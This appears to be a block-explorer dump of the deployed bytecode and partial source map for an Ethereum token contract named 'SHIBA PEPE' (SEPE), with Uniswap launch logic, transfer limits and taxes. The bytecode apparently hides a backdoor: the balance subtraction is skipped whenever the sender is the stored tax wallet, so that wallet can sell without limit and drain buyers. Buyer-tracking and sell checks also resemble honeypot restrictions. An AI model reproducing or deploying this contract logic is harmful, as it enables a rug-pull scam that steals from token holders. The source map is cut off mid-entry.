0x608060405260043610610113575f3560e01c806370a082311161009d578063a9059cbb11610062578063a9059cbb146102ff578063bbcb5e5d1461031e578063bf474bed1461033d578063daa9a34314610352578063dd62ed3e14610366575f80fd5b806370a0823114610246578063715018a61461027a5780638da5cb5b1461028e57806395d89b41146102be578063a652d046146102ea575f80fd5b8063293230b8116100e3578063293230b8146101d2578063313ce567146101e85780634f6b7c8c146102035780635c84c1ba14610218578063604bfd7c14610231575f80fd5b806306fdde031461011e578063095ea7b31461016257806318160ddd1461019157806323b872dd146101b3575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b5060408051808201909152600a8152695348494241205045504560b01b60208201525b60405161015991906114cd565b60405180910390f35b34801561016d575f80fd5b5061018161017c36600461152f565b6103aa565b6040519015158152602001610159565b34801561019c575f80fd5b506101a56103c0565b604051908152602001610159565b3480156101be575f80fd5b506101816101cd366004611559565b6103e0565b3480156101dd575f80fd5b506101e6610448565b005b3480156101f3575f80fd5b5060405160098152602001610159565b34801561020e575f80fd5b506101a560015481565b348015610223575f80fd5b506012546101819060ff1681565b34801561023c575f80fd5b506101a560045481565b348015610251575f80fd5b506101a5610260366004611597565b6001600160a01b03165f908152600d602052604090205490565b348015610285575f80fd5b506101e661080a565b348015610299575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610159565b3480156102c9575f80fd5b506040805180820190915260048152635345504560e01b602082015261014c565b3480156102f5575f80fd5b506101a560025481565b34801561030a575f80fd5b5061018161031936600461152f565b61087b565b348015610329575f80fd5b506014546102a6906001600160a01b031681565b348015610348575f80fd5b506101a560035481565b34801561035d575f80fd5b506101e6610887565b348015610371575f80fd5b506101a56103803660046115b2565b6001600160a01b039182165f908152600e6020908152604080832093909416825291909152205490565b5f6103b6338484610942565b5060015b92915050565b5f6103cd6009600a6116dd565b6103db90633b9aca006116eb565b905090565b5f6103ec848484610a65565b61043d843361043885604051806060016040528060288152602001611889602891396001600160a01b038a165f908152600e6020908152604080832033845290915290205491906110d7565b610942565b5060015b9392505050565b5f546001600160a01b0316331461047a5760405162461bcd60e51b815260040161047190611702565b60405180910390fd5b601354600160a01b900460ff16156104c85760405162461bcd60e51b81526020600482015260116024820152700103a3930b234b7339034b99037b832b71607d1b6044820152606401610471565b60128054610100600160a81b031916747a250d5630b4cf539739df2c5dacb4c659f2488d0017908190556105219030906001600160a01b03610100909104166105136009600a6116dd565b61043890633b9aca006116eb565b601260019054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610572573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105969190611723565b6001600160a01b031663c9c6539630601260019054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105f6573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061061a9190611723565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610664573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106889190611723565b601380546001600160a01b039283166001600160a01b031990911617905560125461010090041663f305d71947306106d4816001600160a01b03165f908152600d602052604090205490565b5f806106e75f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561074d573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610772919061173e565b505060135460125460405163095ea7b360e01b81526001600160a01b03610100909204821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156107cc573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107f09190611769565b506013805462ff00ff60a01b19166201000160a01b179055565b5f546001600160a01b031633146108335760405162461bcd60e51b815260040161047190611702565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f6103b6338484610a65565b5f546001600160a01b031633146108b05760405162461bcd60e51b815260040161047190611702565b6108bc6009600a6116dd565b6108ca90633b9aca006116eb565b6001556108d96009600a6116dd565b6108e790633b9aca006116eb565b6002556012805460ff191690557f9508846b459da6a131f26d3c6ed3f6e640f72fb28b23c51dca0f87e910add53c6109216009600a6116dd565b61092f90633b9aca006116eb565b60405190815260200160405180910390a1565b6001600160a01b0383166109a45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610471565b6001600160a01b038216610a055760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610471565b6001600160a01b038381165f818152600e602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ace5760405162461bcd60e51b815260206004820152602a60248201527f45524332303a20207472616e73666572202066726f6d202074686520207a65726044820152696f20206164647265737360b01b6064820152608401610471565b6001600160a01b038216610b305760405162461bcd60e51b8152602060048201526024808201527f45524332303a207472616e7366657220746f20746865207a65726f20206164646044820152637265737360e01b6064820152608401610471565b5f8111610b975760405162461bcd60e51b815260206004820152602f60248201527f5472616e736665722020616d6f756e7420206d7573742020626520206772656160448201526e74657220207468616e20207a65726f60881b6064820152608401610471565b5f80546001600160a01b03858116911614801590610bc257505f546001600160a01b03848116911614155b15610f985760125460ff1615610c8a576012546001600160a01b038481166101009092041614801590610c0357506013546001600160a01b03848116911614155b15610c8a57325f908152601160205260409020544311610c785760405162461bcd60e51b815260206004820152602a60248201527f204f6e6c7920206f6e6520207472616e7366657220207065722020626c6f636b604482015269101030b63637bbb2b21760b11b6064820152608401610471565b325f9081526011602052604090204390555b6013546001600160a01b038581169116148015610cba57506012546001600160a01b038481166101009092041614155b8015610cde57506001600160a01b0383165f908152600f602052604090205460ff16155b15610dd557600154821115610d055760405162461bcd60e51b815260040161047190611788565b60025482610d27856001600160a01b03165f908152600d602052604090205490565b610d3191906117a8565b1115610d4f5760405162461bcd60e51b815260040161047190611788565b600b54600c541015610d6d57610d648361110f565b15610d6d575f80fd5b600c8054905f610d7c836117bb565b90915550506001600160a01b0383165f908152601060205260409020805460ff19166001179055600954600c54610dd291606491610dcc9110610dc157600554610dc5565b6007545b8590611168565b906111c7565b90505b6013546001600160a01b038481169116148015610dfb57506001600160a01b0384163014155b8015610e1f57506001600160a01b0384165f908152600f602052604090205460ff16155b15610ec5576001548211158015610e5057506004546014546001600160a01b03165f908152600d6020526040902054105b610e6c5760405162461bcd60e51b815260040161047190611788565b610e916064610dcc600a54600c5411610e8757600654610dc5565b6008548590611168565b9050600b54600c54118015610ebd57506001600160a01b0384165f9081526010602052604090205460ff165b610ec5575f80fd5b305f908152600d6020526040902054601354600160a81b900460ff16158015610efb57506013546001600160a01b038581169116145b8015610f105750601354600160b01b900460ff165b8015610f1d575060035481115b8015610f2c5750600b54600c54115b8015610f5057506001600160a01b0384165f908152600f602052604090205460ff16155b8015610f7457506001600160a01b0385165f908152600f602052604090205460ff16155b15610f9657610f96610f9184610f8c846004546111f3565b6111f3565b611208565b505b801561101057305f908152600d6020526040902054610fb790826113b4565b305f818152600d6020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110079085815260200190565b60405180910390a35b6001600160a01b0384165f908152600d6020526040902054611034908590846113fd565b6001600160a01b0385165f908152600d60205260409020556110776110598383611475565b6001600160a01b0385165f908152600d6020526040902054906113b4565b6001600160a01b038085165f818152600d602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6110c08585611475565b60405190815260200160405180910390a350505050565b5f81848411156110fa5760405162461bcd60e51b815260040161047191906114cd565b505f61110684866117d3565b95945050505050565b6040805160018082528183019092525f91829182916020808301908036833701905050905083815f81518110611147576111476117e6565b6001600160a01b03909216602092830291909101909101525050503b151590565b5f825f0361117757505f6103ba565b5f61118283856116eb565b90508261118f85836117fa565b146104415760405162461bcd60e51b81526020600482015260086024820152670a6c2ccca9ac2e8d60c31b6044820152606401610471565b5f6104418383604051806040016040528060088152602001670a6c2ccca9ac2e8d60c31b8152506114a1565b5f818310156112025782610441565b50919050565b6013805460ff60a81b1916600160a81b17905580156113a457601354600160a01b900460ff16156113a4576040805160028082526060820183525f9260208301908036833701905050905030815f81518110611266576112666117e6565b60200260200101906001600160a01b031690816001600160a01b031681525050601260019054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156112d7573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112fb9190611723565b8160018151811061130e5761130e6117e6565b6001600160a01b03928316602091820292909201015260125461133991309161010090041684610942565b60125460405163791ac94760e01b81526101009091046001600160a01b03169063791ac947906113759085905f90869030904290600401611819565b5f604051808303815f87803b15801561138c575f80fd5b505af115801561139e573d5f803e3d5ffd5b50505050505b506013805460ff60a81b19169055565b5f806113c083856117a8565b9050838110156104415760405162461bcd60e51b81526020600482015260086024820152670a6c2ccca9ac2e8d60c31b6044820152606401610471565b6014545f906001600160a01b039081169085160361141c575081610441565b818310156114645760405162461bcd60e51b81526020600482015260156024820152745375627472616374696f6e20756e646572666c6f7760581b6044820152606401610471565b61146e82846117d3565b9050610441565b5f6104418383604051806040016040528060088152602001670a6c2ccca9ac2e8d60c31b8152506110d7565b5f81836114c15760405162461bcd60e51b815260040161047191906114cd565b505f61110684866117fa565b5f6020808352835180828501525f5b818110156114f8578581018301518582016040015282016114dc565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461152c575f80fd5b50565b5f8060408385031215611540575f80fd5b823561154b81611518565b946020939093013593505050565b5f805f6060848603121561156b575f80fd5b833561157681611518565b9250602084013561158681611518565b929592945050506040919091013590565b5f602082840312156115a7575f80fd5b813561044181611518565b5f80604083850312156115c3575f80fd5b82356115ce81611518565b915060208301356115de81611518565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561163757815f190482111561161d5761161d6115e9565b8085161561162a57918102915b93841c9390800290611602565b509250929050565b5f8261164d575060016103ba565b8161165957505f6103ba565b816001811461166f576002811461167957611695565b60019150506103ba565b60ff84111561168a5761168a6115e9565b50506001821b6103ba565b5060208310610133831016604e8410600b84101617156116b8575081810a6103ba565b6116c283836115fd565b805f19048211156116d5576116d56115e9565b029392505050565b5f61044160ff84168361163f565b80820281158282048414176103ba576103ba6115e9565b6020808252600790820152664f776e61626c6560c81b604082015260600190565b5f60208284031215611733575f80fd5b815161044181611518565b5f805f60608486031215611750575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611779575f80fd5b81518015158114610441575f80fd5b602080825260069082015265119bdc989a5960d21b604082015260600190565b808201808211156103ba576103ba6115e9565b5f600182016117cc576117cc6115e9565b5060010190565b818103818111156103ba576103ba6115e9565b634e487b7160e01b5f52603260045260245ffd5b5f8261181457634e487b7160e01b5f52601260045260245ffd5b500490565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156118675784516001600160a01b031683529383019391830191600101611842565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202fddccd3306fed29e521c0513916bbce55b263f16bec47c9b5d8450692ea34cb64736f6c63430008140033

Deployed Bytecode Sourcemap

3463:8277:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5357:83;;;;;;;;;;-1:-1:-1;5427:5:0;;;;;;;;;;;;-1:-1:-1;;;5427:5:0;;;;5357:83;;;;;;;:::i;:::-;;;;;;;;6197:161;;;;;;;;;;-1:-1:-1;6197:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6197:161:0;1023:187:1;5634:100:0;;;;;;;;;;;;;:::i;:::-;;;1361:25:1;;;1349:2;1334:18;5634:100:0;1215:177:1;6366:316:0;;;;;;;;;;-1:-1:-1;6366:316:0;;;;;:::i;:::-;;:::i;11016:675::-;;;;;;;;;;;;;:::i;:::-;;5543:83;;;;;;;;;;-1:-1:-1;5543:83:0;;3699:1;2000:36:1;;1988:2;1973:18;5543:83:0;1858:184:1;3784:42:0;;;;;;;;;;;;;;;;4600:37;;;;;;;;;;-1:-1:-1;4600:37:0;;;;;;;;3942:42;;;;;;;;;;;;;;;;5742:119;;;;;;;;;;-1:-1:-1;5742:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;5835:18:0;5808:7;5835:18;;;:9;:18;;;;;;;5742:119;2636:148;;;;;;;;;;;;;:::i;2447:79::-;;;;;;;;;;-1:-1:-1;2485:7:0;2512:6;-1:-1:-1;;;;;2512:6:0;2447:79;;;-1:-1:-1;;;;;2463:32:1;;;2445:51;;2433:2;2418:18;2447:79:0;2299:203:1;5448:87:0;;;;;;;;;;-1:-1:-1;5520:7:0;;;;;;;;;;;;-1:-1:-1;;;5520:7:0;;;;5448:87;;3833:48;;;;;;;;;;;;;;;;5869:167;;;;;;;;;;-1:-1:-1;5869:167:0;;;;;:::i;:::-;;:::i;4849:73::-;;;;;;;;;;-1:-1:-1;4849:73:0;;;;-1:-1:-1;;;;;4849:73:0;;;3888:47;;;;;;;;;;;;;;;;10510:219;;;;;;;;;;;;;:::i;6044:145::-;;;;;;;;;;-1:-1:-1;6044:145:0;;;;;:::i;:::-;-1:-1:-1;;;;;6153:19:0;;;6126:7;6153:19;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;6044:145;6197:161;6272:4;6289:39;2094:10;6312:7;6321:6;6289:8;:39::i;:::-;-1:-1:-1;6346:4:0;6197:161;;;;;:::o;5634:100::-;5687:7;3763:13;3699:1;3763:2;:13;:::i;:::-;3749:28;;:10;:28;:::i;:::-;5707:19;;5634:100;:::o;6366:316::-;6464:4;6481:36;6491:6;6499:9;6510:6;6481:9;:36::i;:::-;6528:124;6537:6;2094:10;6559:92;6600:6;6559:92;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6559:19:0;;;;;;:11;:19;;;;;;;;2094:10;6559:33;;;;;;;;;;:40;:92::i;:::-;6528:8;:124::i;:::-;-1:-1:-1;6670:4:0;6366:316;;;;;;:::o;11016:675::-;2574:6;;-1:-1:-1;;;;;2574:6:0;2094:10;2574:22;2566:42;;;;-1:-1:-1;;;2566:42:0;;;;;;;:::i;:::-;;;;;;;;;11082:11:::1;::::0;-1:-1:-1;;;11082:11:0;::::1;;;11081:12;11072:44;;;::::0;-1:-1:-1;;;11072:44:0;;5125:2:1;11072:44:0::1;::::0;::::1;5107:21:1::0;5164:2;5144:18;;;5137:30;-1:-1:-1;;;5183:18:1;;;5176:47;5240:18;;11072:44:0::1;4923:341:1::0;11072:44:0::1;11128:13;:79:::0;;-1:-1:-1;;;;;;11128:79:0::1;::::0;::::1;::::0;;;;11218:62:::1;::::0;11237:4:::1;::::0;-1:-1:-1;;;;;11128:79:0::1;11251:13:::0;;::::1;;3763;3699:1;3763:2;:13;:::i;:::-;3749:28;::::0;:10:::1;:28;:::i;11218:62::-;11321:13;;;;;;;;;-1:-1:-1::0;;;;;11321:13:0::1;-1:-1:-1::0;;;;;11321:21:0::1;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11303:53:0::1;;11366:4;11373:13;;;;;;;;;-1:-1:-1::0;;;;;11373:13:0::1;-1:-1:-1::0;;;;;11373:19:0::1;;:21;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11303:92;::::0;-1:-1:-1;;;;;;11303:92:0::1;::::0;;;;;;-1:-1:-1;;;;;5755:15:1;;;11303:92:0::1;::::0;::::1;5737:34:1::0;5807:15;;5787:18;;;5780:43;5672:18;;11303:92:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11291:9;:104:::0;;-1:-1:-1;;;;;11291:104:0;;::::1;-1:-1:-1::0;;;;;;11291:104:0;;::::1;;::::0;;11406:13:::1;::::0;11291:104:::1;11406:13:::0;::::1;;:29;11443:21;11476:4;11482:25;11476:4:::0;-1:-1:-1;;;;;5835:18:0;5808:7;5835:18;;;:9;:18;;;;;;;5742:119;11482:25:::1;11508:1;11510::::0;11512:7:::1;2485::::0;2512:6;-1:-1:-1;;;;;2512:6:0;;2447:79;11512:7:::1;11406:130;::::0;::::1;::::0;;;-1:-1:-1;;;;;;11406:130:0;;;-1:-1:-1;;;;;6193:15:1;;;11406:130:0::1;::::0;::::1;6175:34:1::0;6225:18;;;6218:34;;;;6268:18;;;6261:34;;;;6311:18;;;6304:34;6375:15;;;6354:19;;;6347:44;11520:15:0::1;6407:19:1::0;;;6400:35;6109:19;;11406:130:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;11555:9:0::1;::::0;11583:13:::1;::::0;11547:68:::1;::::0;-1:-1:-1;;;11547:68:0;;-1:-1:-1;;;;;11555:9:0::1;11583:13:::0;;::::1;::::0;::::1;11547:68;::::0;::::1;6931:51:1::0;-1:-1:-1;;6998:18:1;;;6991:34;11555:9:0;::::1;::::0;-1:-1:-1;11547:26:0::1;::::0;6904:18:1;;11547:68:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;11626:19:0::1;:26:::0;;-1:-1:-1;;;;11664:18:0;-1:-1:-1;;;11664:18:0;;;11016:675::o;2636:148::-;2574:6;;-1:-1:-1;;;;;2574:6:0;2094:10;2574:22;2566:42;;;;-1:-1:-1;;;2566:42:0;;;;;;;:::i;:::-;2743:1:::1;2727:6:::0;;2706:40:::1;::::0;-1:-1:-1;;;;;2727:6:0;;::::1;::::0;2706:40:::1;::::0;2743:1;;2706:40:::1;2774:1;2757:19:::0;;-1:-1:-1;;;;;;2757:19:0::1;::::0;;2636:148::o;5869:167::-;5947:4;5964:42;2094:10;5988:9;5999:6;5964:9;:42::i;10510:219::-;2574:6;;-1:-1:-1;;;;;2574:6:0;2094:10;2574:22;2566:42;;;;-1:-1:-1;;;2566:42:0;;;;;;;:::i;:::-;3763:13:::1;3699:1;3763:2;:13;:::i;:::-;3749:28;::::0;:10:::1;:28;:::i;:::-;10564:12;:29:::0;3763:13:::1;3699:1;3763:2;:13;:::i;:::-;3749:28;::::0;:10:::1;:28;:::i;:::-;10605:18;:33:::0;10650:16:::1;:24:::0;;-1:-1:-1;;10650:24:0::1;::::0;;10692:28:::1;3763:13;3699:1;3763:2;:13;:::i;:::-;3749:28;::::0;:10:::1;:28;:::i;:::-;10692;::::0;1361:25:1;;;1349:2;1334:18;10692:28:0::1;;;;;;;10510:219::o:0;6690:337::-;-1:-1:-1;;;;;6784:19:0;;6776:68;;;;-1:-1:-1;;;6776:68:0;;7520:2:1;6776:68:0;;;7502:21:1;7559:2;7539:18;;;7532:30;7598:34;7578:18;;;7571:62;-1:-1:-1;;;7649:18:1;;;7642:34;7693:19;;6776:68:0;7318:400:1;6776:68:0;-1:-1:-1;;;;;6863:20:0;;6855:67;;;;-1:-1:-1;;;6855:67:0;;7925:2:1;6855:67:0;;;7907:21:1;7964:2;7944:18;;;7937:30;8003:34;7983:18;;;7976:62;-1:-1:-1;;;8054:18:1;;;8047:32;8096:19;;6855:67:0;7723:398:1;6855:67:0;-1:-1:-1;;;;;6933:19:0;;;;;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;:37;;;6986:33;;1361:25:1;;;6986:33:0;;1334:18:1;6986:33:0;;;;;;;6690:337;;;:::o;7035:2591::-;-1:-1:-1;;;;;7124:17:0;;7115:73;;;;-1:-1:-1;;;7115:73:0;;8328:2:1;7115:73:0;;;8310:21:1;8367:2;8347:18;;;8340:30;8406:34;8386:18;;;8379:62;-1:-1:-1;;;8457:18:1;;;8450:40;8507:19;;7115:73:0;8126:406:1;7115:73:0;-1:-1:-1;;;;;7208:15:0;;7199:65;;;;-1:-1:-1;;;7199:65:0;;8739:2:1;7199:65:0;;;8721:21:1;8778:2;8758:18;;;8751:30;8817:34;8797:18;;;8790:62;-1:-1:-1;;;8868:18:1;;;8861:34;8912:19;;7199:65:0;8537:400:1;7199:65:0;7293:1;7284:6;:10;7275:71;;;;-1:-1:-1;;;7275:71:0;;9144:2:1;7275:71:0;;;9126:21:1;9183:2;9163:18;;;9156:30;9222:34;9202:18;;;9195:62;-1:-1:-1;;;9273:18:1;;;9266:45;9328:19;;7275:71:0;8942:411:1;7275:71:0;7357:18;2512:6;;-1:-1:-1;;;;;7396:15:0;;;2512:6;;7396:15;;;;:30;;-1:-1:-1;2485:7:0;2512:6;-1:-1:-1;;;;;7414:12:0;;;2512:6;;7414:12;;7396:30;7390:1844;;;7450:16;;;;7445:317;;;7505:13;;-1:-1:-1;;;;;7492:27:0;;;7505:13;;;;;7492:27;;;;:53;;-1:-1:-1;7535:9:0;;-1:-1:-1;;;;;7522:23:0;;;7535:9;;7522:23;;7492:53;7487:260;;;7593:9;7577:26;;;;:15;:26;;;;;;7606:12;-1:-1:-1;7568:97:0;;;;-1:-1:-1;;;7568:97:0;;9560:2:1;7568:97:0;;;9542:21:1;9599:2;9579:18;;;9572:30;9638:34;9618:18;;;9611:62;-1:-1:-1;;;9689:18:1;;;9682:40;9739:19;;7568:97:0;9358:406:1;7568:97:0;7702:9;7686:26;;;;:15;:26;;;;;7715:12;7686:41;;7487:260;7792:9;;-1:-1:-1;;;;;7784:17:0;;;7792:9;;7784:17;:49;;;;-1:-1:-1;7819:13:0;;-1:-1:-1;;;;;7805:28:0;;;7819:13;;;;;7805:28;;7784:49;:68;;;;-1:-1:-1;;;;;;7837:15:0;;;;;;:11;:15;;;;;;;;7836:16;7784:68;7778:514;;;7892:12;;7882:6;:22;;7873:42;;;;-1:-1:-1;;;7873:42:0;;;;;;;:::i;:::-;7970:18;;7960:6;7943:14;7954:2;-1:-1:-1;;;;;5835:18:0;5808:7;5835:18;;;:9;:18;;;;;;;5742:119;7943:14;:23;;;;:::i;:::-;:45;;7934:64;;;;-1:-1:-1;;;7934:64:0;;;;;;;:::i;:::-;8035:10;;8022;;:23;8017:94;;;8078:12;8087:2;8078:8;:12::i;:::-;8077:13;8068:23;;;;;;8129:10;:13;;;:10;:13;;;:::i;:::-;;;;-1:-1:-1;;;;;;;8145:14:0;;;;;;:10;:14;;;;;:21;;-1:-1:-1;;8145:21:0;8162:4;8145:21;;;8222:15;;8209:10;;8197:79;;8272:3;;8197:70;;-1:-1:-1;8208:58:0;;8252:14;;8208:58;;;8239:12;;8208:58;8197:6;;:10;:70::i;:::-;:74;;:79::i;:::-;8185:91;;7778:514;8317:9;;-1:-1:-1;;;;;8311:15:0;;;8317:9;;8311:15;:38;;;;-1:-1:-1;;;;;;8328:21:0;;8344:4;8328:21;;8311:38;:60;;;;-1:-1:-1;;;;;;8354:17:0;;;;;;:11;:17;;;;;;;;8352:19;8311:60;8308:369;;;8411:12;;8401:6;:22;;:63;;;;-1:-1:-1;8452:12:0;;8437;;-1:-1:-1;;;;;8437:12:0;5808:7;5835:18;;;:9;:18;;;;;;8427:37;8401:63;8392:83;;;;-1:-1:-1;;;8392:83:0;;;;;;;:::i;:::-;8506:84;8586:3;8506:75;8531:17;;8518:10;;:30;8517:63;;8565:15;;8517:63;;;8551:13;;8506:6;;:10;:75::i;:84::-;8494:96;;8630:10;;8618;;:22;:42;;;;-1:-1:-1;;;;;;8644:16:0;;;;;;:10;:16;;;;;;;;8618:42;8609:52;;;;;;8742:4;8693:28;5835:18;;;:9;:18;;;;;;8768:11;;-1:-1:-1;;;8768:11:0;;;;8767:12;:46;;;;-1:-1:-1;8804:9:0;;-1:-1:-1;;;;;8798:15:0;;;8804:9;;8798:15;8767:46;:67;;;;-1:-1:-1;8815:19:0;;-1:-1:-1;;;8815:19:0;;;;8767:67;:110;;;;;8860:17;;8837:20;:40;8767:110;:152;;;;;8909:10;;8896;;:23;8767:152;:173;;;;-1:-1:-1;;;;;;8924:16:0;;;;;;:11;:16;;;;;;;;8922:18;8767:173;:196;;;;-1:-1:-1;;;;;;8945:18:0;;;;;;:11;:18;;;;;;;;8943:20;8767:196;8763:460;;;8999:70;9013:55;9019:6;9026:41;9032:20;9054:12;;9026:5;:41::i;:::-;9013:5;:55::i;:::-;8999:13;:70::i;:::-;7428:1806;7390:1844;9251:13;;9246:174;;9326:4;9307:25;;;;:9;:25;;;;;;:40;;9337:9;9307:29;:40::i;:::-;9298:4;9280:24;;;;:9;:24;;;;;;;:67;;;;9366:42;;-1:-1:-1;;;;;9366:42:0;;;;;;;9398:9;1361:25:1;;1349:2;1334:18;;1215:177;9366:42:0;;;;;;;;9246:174;-1:-1:-1;;;;;9461:16:0;;;;;;:9;:16;;;;;;9448:38;;9454:4;;9479:6;9448:5;:38::i;:::-;-1:-1:-1;;;;;9430:15:0;;;;;;:9;:15;;;;;:56;9513:43;9531:24;:6;9545:9;9531:12;:24::i;:::-;-1:-1:-1;;;;;9513:13:0;;;;;;:9;:13;;;;;;;:17;:43::i;:::-;-1:-1:-1;;;;;9497:13:0;;;;;;;:9;:13;;;;;:59;;;;9573:45;;;9593:24;:6;9607:9;9593:13;:24::i;:::-;9573:45;;1361:25:1;;;1349:2;1334:18;9573:45:0;;;;;;;7104:2522;7035:2591;;;:::o;1223:193::-;1312:7;1348:12;1340:6;;;;1332:29;;;;-1:-1:-1;;;1332:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1372:9:0;1384:5;1388:1;1384;:5;:::i;:::-;1372:17;1223:193;-1:-1:-1;;;;;1223:193:0:o;10736:270::-;10858:16;;;10872:1;10858:16;;;;;;;;;10793:4;;;;;;10858:16;;;;;;;;;;;-1:-1:-1;10858:16:0;10829:45;;10896:7;10881:9;10891:1;10881:12;;;;;;;;:::i;:::-;-1:-1:-1;;;;;10881:22:0;;;:12;;;;;;;;;;;:22;-1:-1:-1;;;10944:20:0;10986:12;;;10736:270::o;1424:221::-;1482:7;1506:1;1511;1506:6;1502:47;;-1:-1:-1;1536:1:0;1529:8;;1502:47;1559:9;1571:5;1575:1;1571;:5;:::i;:::-;1559:17;-1:-1:-1;1604:1:0;1595:5;1599:1;1559:17;1595:5;:::i;:::-;:10;1587:31;;;;-1:-1:-1;;;1587:31:0;;11194:2:1;1587:31:0;;;11176:21:1;11233:1;11213:18;;;11206:29;-1:-1:-1;;;11251:18:1;;;11244:38;11299:18;;1587:31:0;10992:331:1;1653:114:0;1711:7;1738:21;1742:1;1745;1738:21;;;;;;;;;;;;;-1:-1:-1;;;1738:21:0;;;:3;:21::i;10151:106::-;10210:7;10239:1;10234;:6;;10233:16;;10248:1;10233:16;;;-1:-1:-1;10244:1:0;10151:106;-1:-1:-1;10151:106:0:o;9634:509::-;5007:11;:18;;-1:-1:-1;;;;5007:18:0;-1:-1:-1;;;5007:18:0;;;9716:34;;9742:7:::1;9716:34;9764:11;::::0;-1:-1:-1;;;9764:11:0;::::1;;;9760:25:::0;9777:7:::1;9760:25;9820:19;::::0;;9837:1:::1;9820:19:::0;;;;;::::1;::::0;;9795:21:::1;::::0;9820:19:::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9820:19:0::1;9795:44;;9869:4;9850;9855:1;9850:7;;;;;;;;:::i;:::-;;;;;;:24;-1:-1:-1::0;;;;;9850:24:0::1;;;-1:-1:-1::0;;;;;9850:24:0::1;;;::::0;::::1;9895:13;;;;;;;;;-1:-1:-1::0;;;;;9895:13:0::1;-1:-1:-1::0;;;;;9895:18:0::1;;:20;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9885:4;9890:1;9885:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9885:30:0;;::::1;:7;::::0;;::::1;::::0;;;;;:30;9960:13:::1;::::0;9926:69:::1;::::0;9944:4:::1;::::0;9960:13:::1;::::0;::::1;;9976:18:::0;9926:8:::1;:69::i;:::-;10006:13;::::0;:129:::1;::::0;-1:-1:-1;;;10006:129:0;;:13:::1;::::0;;::::1;-1:-1:-1::0;;;;;10006:13:0::1;::::0;:64:::1;::::0;:129:::1;::::0;10072:18;;10092:1:::1;::::0;10095:4;;10109::::1;::::0;10116:17:::1;::::0;10006:129:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;9705:438;5036:1;-1:-1:-1::0;5048:11:0;:19;;-1:-1:-1;;;;5048:19:0;;;9634:509::o;927:160::-;985:7;;1017:5;1021:1;1017;:5;:::i;:::-;1005:17;;1046:1;1041;:6;;1033:27;;;;-1:-1:-1;;;1033:27:0;;11194:2:1;1033:27:0;;;11176:21:1;11233:1;11213:18;;;11206:29;-1:-1:-1;;;11251:18:1;;;11244:38;11299:18;;1033:27:0;10992:331:1;10265:237:0;10366:12;;10338:7;;-1:-1:-1;;;;;10366:12:0;;;10358:20;;;;10354:141;;-1:-1:-1;10398:1:0;10391:8;;10354:141;10437:1;10432;:6;;10424:40;;;;-1:-1:-1;;;10424:40:0;;12515:2:1;10424